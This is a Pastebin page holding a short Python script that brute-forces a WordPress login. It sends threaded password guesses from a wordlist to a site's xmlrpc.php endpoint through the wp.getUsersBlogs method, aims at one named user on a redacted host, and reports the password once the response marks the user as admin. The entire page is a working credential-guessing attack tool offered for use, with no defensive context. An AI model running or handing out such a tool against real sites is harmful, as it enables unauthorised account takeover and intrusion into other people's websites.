Advertisement
Mr_hEx

wordpress xmlrpc BF

Mar 25th, 2023 (edited)
1,795
1
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.64 KB | None | 1 0
  1. import requests
  2. import threading
  3. import sys
  4. import urllib3
  5. urllib3.disable_warnings()
  6.  
  7.  
  8.  
  9. class bcolors:
  10.     HEADER = '\033[95m'
  11.     OKBLUE = '\033[94m'
  12.     OKGREEN = '\033[92m'
  13.     WARNING = '\033[93m'
  14.     FAIL = '\033[91m'
  15.     ENDC = '\033[0m'
  16.     BOLD = '\033[1m'
  17.     UNDERLINE = '\033[4m'
  18.  
  19.  
  20.  
  21.  
  22. def send_request(word, stop_event, count):
  23.     headers = {"Content-Type": "application/xml"}
  24.     data = f"""<?xml version="1.0"
  25. encoding="UTF-8"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>amir</value></param><param><value>{word}</value></param></params></methodCall>"""
  26.     response = requests.post("https://xxxxxxx.com/xmlrpc.php",data,headers=headers)
  27.     if "isAdmin" in response.text:
  28.         print(bcolors.OKGREEN + f'\r[+] Password is => {word} {len(word)*2*" "}')
  29.         stop_event.set()
  30.     else:
  31.         sys.stdout.write(bcolors.WARNING + f"\r[!] Wrong Password => {word} => count {count} {len(word)* ' '}")
  32.         sys.stdout.flush()
  33.         print("\r", end=' '*20)
  34.  
  35. threads = []
  36. with open('password.txt') as f:
  37.     words = f.read().splitlines()
  38.  
  39. stop_event = threading.Event()
  40. count = 1
  41. NumberOfThreads = 5
  42.  
  43. for i in range(NumberOfThreads):
  44.     t = threading.Thread(target=send_request, args=(words[i], stop_event,count))
  45.     count +=1
  46.     t.start()
  47.     threads.append(t)
  48.  
  49.  
  50. for i in range(NumberOfThreads, len(words)):
  51.     if stop_event.is_set():
  52.         break
  53.     threads[i % NumberOfThreads].join()
  54.     t = threading.Thread(target=send_request, args=(words[i], stop_event,count))
  55.     count +=1
  56.     t.start()
  57.     threads[i % NumberOfThreads] = t
  58.  
  59.  
  60. for t in threads:
  61.     t.join()
  62.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement